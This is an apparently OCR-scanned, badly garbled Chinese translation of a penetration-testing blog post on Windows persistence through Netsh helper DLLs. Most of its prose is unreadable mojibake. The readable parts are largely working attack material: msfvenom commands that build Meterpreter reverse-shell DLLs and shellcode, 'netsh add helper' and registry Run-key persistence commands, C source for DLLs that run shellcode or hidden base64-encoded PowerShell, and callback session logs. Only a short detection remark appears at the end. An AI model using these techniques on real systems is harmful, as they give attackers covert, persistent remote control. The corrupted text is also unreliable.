Netshi2WindowssZ 7, & G R LA ERIUT 5 R M SRCEA RIS, FFEEETEN
Windows; ki BTN, 7T LS 68 I DLLSCHE Sk e Netsh IR, It DhREMELLRA AT LA it T A
KMBAEEDLL, DISCBAMEHATIH A SE I A e (02, MR ST SR B 3 205
o

A LAj# I Metasploit Framework [ msfvenom ” 5 Fif 54 AT DLL S 4

msfvenom -p windows/x64/meterpreter/reverse tcp LHOST=10.0.2.21 LPORT=4444 -f
dll > /tmp/pentestlab.dll

:~# msfvenom -p windows/x64/meterpreter/reverse tcp LHOS5T=10.0.2.21 LPI
RT=4444 -t dll = /tmp/pentestlab.dll
[-]1 No platform was selected, choosing Msf::Module::Platform::Windows from the p
ayload
[-1 No arch selected, selecting arch: x64 from the payload
Mo encoder or badchars specified, outputting raw payload

Payload size: 510 bytes
Final size of dll file: 5128 bytes

~#

Az DLL

rf Ll Meterpreterfy Bz thRgalan &ML (C2) SCRFHILA HA U L4 o RE#F DLL S/ (& i 21
HAREL

meterpreter = upload /tmp/pentestlab.dll

[*] uploading : /tmp/pentestlab.dll -> pentestlab.dll

[*] Uploaded 5.00 KiB of 5.80 KiB (100.0%): /tmp/pentestlab.dll -> pentestlab.dl
1
[*] uploaded : /tmp/pentestlab.dll -> pentestlab.dll

meterpreter =

E#HCERDLL

FE BT A LU Y DLL “netshiy ” 90 T H.

netsh

add helper path-to-malicious-dll

#~nghF-DLL

fFknetshsL R shi, #sA7DLL, I B (s,



Startpd reverse TCP hdndler nn 10.0.2 “1 4444
10. D JD - Meterpreter se ed. Reason: Died
e (206403 by } tu 10.).2.30

Meterpreter session 2 opened (10.0.2.21:4444 -= 10.0.2.30:49669) at 2019-10-
09:55:14 -0400

Netsh Helper DLL — Meterpreter

B2, BOAEN R, netshiGitklAZhEs0. GlESAEWindows J5 ) i[RI T 52 AR 7 A 6 0
TEENLEO R A . X7 LAE B: M\ Meterpreter<sifayWindows Shellr52 i .

reg add "HKEY LOCAL MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v
Pentestlab /t REG_SZ /d "C:\Windows\SysWOW64\netsh"

reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run\\ -v
pentestlab -d 'C:\Windows\SysWOW64\netsh'

3 setval -k HEKLM\ A\ software\imicrosoftiy\windows\\currentversioni\ru
-v pentestlab -d 'C:\Windows\SysWOW64\netsh'

SuccessTully set pentestlab of REG SZ.

meterpreter = shell

Process 4876 created.

Channel 1 created.

Microsoft Windows [Version 10.0.17763.678]

(c) 2018 Microsoft Corporation. Me emiguAaEn kKabe voplpov HlKolWPATOC.

C:\Windows\system32=reg add "HKEY LOCAL MACHINE\Software\Microsoft\Windows\Current
Version\Run" /v Pentestlab /t REG SZ /d "C:\Windows\S >y sWOwWe4\netsh"

eg add "HKEY LOCAL MACHIHE\%uftHarP\Mlcrn_uft\Wlnduww\Currwntvwrnlun\Pun“ Jfv Pent
estlab /t PEG SZ /d "C:\Windows\Syswow64\netsh"

he operation completed successfully

QMR T Y]
M2V RO T2, ATEAME I 2 A7 2ok J5 sh s ARy, Bn 61t i o5 sl T L5 .

F—F R TREEIT AN T, %A TR E HGithub f76% b & A &EBDLL . DLLZ iy
Marc SmeetsHCZE 1, T LA HE T L4 [ & L shellcode. Metasploit Frameworksz
FA#L7“ msfvenom ” m] 2 45 Fhif = [ shellcode.

msfvenom -a x64 --platform Windows -p windows/x64/meterpreter/reverse tcp -b
"\x00' -f ¢



https://pentestlab.blog/2019/10/01/persistence-registry-run-keys/
https://pentestlab.blog/2019/10/07/persistence-new-service/
https://github.com/outflanknl/NetshHelperBeacon
https://twitter.com/MarcOverIP

:~# msfvenom -a x64 --platform Windows -p windows/x64/meterpreter/reverse tcp LHOST=10.0.
LPORT=4444 -b '\x00' -f c
Found 3 compatible encoders

Attwmptlng tu en paylead with 1 iterations of generic/none

(index=7, char=0x00)
 pay lndd ulth 1 iterations
551 (iteration=0)
n with final
e: 551 bytes
of ¢ file: :
d char buf[]

C Shellcode — Netsh

Al LUK kg shellcodei# A #|Netsh Helper DLLAC /S .

#include <stdio.h>

#include <windows.h> // only required if you want to pop calc

#ifdef M X64

unsigned char buf[] =
"\x48\x31\xc9\x48\x81\xe9\xcO\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb";
ftelse

unsigned char buf[] =
"\x48\x31\xc9\x48\x81\xe9\xcO\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb";
fendif

// Start a separate thread so netsh remains useful.
DWORD WINAPI ThreadFunction (LPVOID lpParameter)
{

LPVOID newMemory;

HANDLE currentProcess;

SIZE T bytesWritten;

BOOL didWeCopy = FALSE;

// Get the current process handle

currentProcess = GetCurrentProcess|() ;

// Allocate memory with Read+Write+Execute permissions

newMemory = VirtualAllocEx (currentProcess, NULL, sizeof (buf), MEM COMMIT,
PAGE EXECUTE READWRITE) ;

if (newMemory == NULL)

return -1;

// Copy the shellcode into the memory we just created

didWeCopy = WriteProcessMemory (currentProcess, newMemory, (LPCVOID) &buf,
sizeof (buf), &bytesWritten)

if (!didwWeCopy)

return -2;




// Yay! Let's run our shellcode!
((void(*) ())newMemory) () ;

return 1;

// define the DLL handler 'InitHelpderDll' as required by netsh.

// See https://msdn.microsoft.com/en-
us/library/windows/desktop/ms708327 (v=vs.85) .aspx

extern "C" _ declspec(dllexport) DWORD InitHelperDll (DWORD dwNetshVersion, PVOID
pReserved)

{

//make a thread handler, start the function as a thread, and close the
handler

HANDLE threadHandle;

threadHandle = CreateThread (NULL, 0, ThreadFunction, NULL, 0, NULL) ;

CloseHandle (threadHandle) ;

// simple testing by starting calculator

system ("start calc");

// return NO ERROR is required. Here we are doing it the nasty way

return 0;

\XFFAXFF\XFF\> xef \xFF\xFF\xff\x48\xbb\

(buf), M MMIT, PAGE_EXECUTE_READWRITE);

s, newMem ( VOID)&buf, (buf), esWritten);

Netsh#Bh## /7 DLL

5 EiRTTikZEel, rterowley b Github 776k 4 rh & A 1 iz 75 rPowerShell A, LA ARG AT H
TP frPowerShell Base6 4wt (AR M4, F L HFm %I

#include <stdio.h>

#include <windows.h>


https://github.com/rtcrowley
https://github.com/rtcrowley/Offensive-Netsh-Helper

DWORD WINAPI YahSure (LPVOID lpParameter)
{

//Option 1: Quick and simple. Opens 1 PS proc & briefly displays window. Set
payload to b64 unicode.

system ("start C:\\Windows\\System32\\WindowsPowerShell\\vl.0\\powershell.exe

-win hidden -nonI -nopro -enc \

SOBmMACgAJABQAFMAVgB1AHIACWBJAES8ADgBUAEEAQYBSAGUALGBOAFMAVgBFAFIACWBPAGSATgAUACYA
IAAKAFIATAAKAGQAYOBOAGEAIAAOACQASOBWACSAJABLACKAKOBS8AEKARQBYAA=="") ;

//Option 2: Execute loaded b64 into a reg key value. Will spin up a few etra
procs, but will not open an extra window.

//system ("C:\\Windows\\System32\\WindowsPowerShell\\vl.0\\powershell.exe -cC

$x=((gp HKLM:SOFTWARE\\Microsoft\\Notepad debug) .debug); \
powershell -nopro -enc $x 2> nul");

return 1;

//Custom netsh helper format
extern "C" _ declspec(dllexport) DWORD InitHelperDll (DWORD dwNetshVersion, PVOID
pReserved)

{
HANDLE hand;

hand = CreateThread (NULL, O, YahSure, NULL, O, NULL);
CloseHandle (hand) ;

return NO ERROR;

InitHelperDll

@, YahSure, NULL, NULL);




Netsh Helper DLL — PowerShell 5

A7 netsh ” S 1 add helper ” iy & N = Ge i) WA DLLERI- A T B2 R A U5 3

netsh
add helper C:\Users\pentestlab\Desktop\NetshHelperBeacon.dll
add helper C:\Users\pentestlab\Desktop\NetshPowerShell.dl1l

C:\Windows\system32>netsh
netsh>add helper C:\Users\pentestlab\Desktop\NetshHelperBeacon.dll
Ok.

netsh>add helper C:\Users\pentestlab\Desktop\NetshPowerShell.dll

NetshiFDLL

Empiref{iMetasploitiy multi / handler ” 5k ] 206058 B > DLLAY (S .
(Empire) = [*] Sending POWERSHELL stager (stage 1) to 10.0.2.30
[*] New agent VUMAE1DC checked in

[+] Initial agent VUMAE1DC from 10.0.2.30 now active (Slack)
[*] Sending agent (stage 2) to VUMAE1DC at 10.0.2.30

(Empire) = agents

[#] Active agents:

NetshiFDLL PowerShell
msf5 exploit( ) = exploit

[#*] Started reverse TCP handler on 10.0.2.21:4444
[*] Sending stage (206403 bytes) to 10.0.2.30

[*] Meterpreter session 1 opened (10.8.2.21:4444 -= 10.0.2.30:49695) at 2019-1@-
26 20:33:26 -0400

NetshijFDLL Meterpreter

LT BRI ENRR Y 7 i LUINEDLLSCHRI , AR LR B G T I

HKEY LOCAL MACHINE\SOFTWARE\Microsoft\NetSh




B Ertefepyaotric Mntpwou - a X

Apyeio Enelepyooia Mpofohn Ayamnuéva BonBeix
ffﬁo;\cwcm']c;\HKE‘r’ LOCAL_MACHINE\SOFTWARE\Microsoft\NetSh

MsDTC ~ | 'Ovopa Timog AeSopéva
MSF ab|(Mpoemiioyr) REG_SZ (n Ty dev €xeL oplaTel)
MSIME a2 REG_SZ ifmon.dl|
MSIF'_:C ) abl4 REG_SZ rasmontr.dll
mg;censmg ablauthfwcfg REG_SZ authfwcfg.dll
MSN? abldhcpclient REG_SZ dhecpecmonitor.dll
pps = ‘
MsSearch36 —twelg welg.
MTE 2b hnetmon REG_SZ hnetmon.dll
MTFFuzzyFactors ablnetiohlp REG_SZ netiohlp.dll
MTFInputType ab|NetshHelperBeacon REG_SZ C:\Users\pentestlab\Desktop\NetshHelperBeacon.dll
MTFKeyboardMap ab/NetshPowerShell REG_SZ C\Users\pentestlab\Desktop\NetshPowerShell.dll
Multimedia 2binettrace REG_SZ nettrace.dll
Multivariant abinshhttp REG_SZ nshhttp.dil
NET Framework Se 2b|nshipsec REG_SZ nshipsec.dll
NetSh abnshwfp REG_SZ nshwip.dll

Netshy 25

f”i%f%“ﬁ%s HLLETT RE LA AT 2 R 58 L VPN P il i< B 20 netsh ” j53), BIUILATREAT
B H AT BB TR AL

ER AT : K HBYPASS BEHEAFNIE, (T LTI T2 o

JA ) https://pentestlab.blog/2019/10/29/persistence-netsh-helper-dll/



https://pentestlab.blog/2019/10/29/persistence-netsh-helper-dll/

